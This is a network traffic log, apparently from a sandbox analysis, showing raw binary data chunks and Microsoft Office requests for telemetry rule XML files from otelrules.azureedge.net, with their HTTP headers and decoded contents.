2024-11-12 07:30:35 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-12 07:30:35 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-12 07:30:35 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-12 07:30:35 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-12 07:30:35 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-12 07:30:35 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-12 07:30:35 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:35 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:35 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 81ebe052-401e-00ac-2da0-340a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073035Z-17df447cdb5rnd49hC1DFWgmpw0000000610000000002z8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:35 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:35 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 5267c52a-501e-007b-64a0-345ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073035Z-17df447cdb5bz95mhC1DFWnk7w0000000bh0000000008gc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:35 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:35 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:35 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ed171e7d-901e-0015-69a2-34b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073035Z-15869dbbcc6lxrkghC1DFWqpdc00000007ng000000009gmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:35 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:35 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:35 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: a1c86a7d-201e-0096-65a3-34ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073035Z-15869dbbcc65c582hC1DFWgpv4000000093000000000cacm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:35 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:35 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:35 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ec03b74d-b01e-005c-11a1-344c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073035Z-17df447cdb54ntx4hC1DFW2k400000000c1g0000000003s5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:35 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 86fb44b9-501e-0078-06d2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073036Z-16547b76f7f775p5hC1DFWzdvn0000000fag000000005pkg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 392771d5-701e-000d-1cd2-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073036Z-16547b76f7f76p6chC1DFWctqw0000000fh0000000000qvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:36 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:36 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f6fa4055-801e-008c-27a1-347130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073036Z-17df447cdb5w28bthC1DFWgb640000000bdg000000001yc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
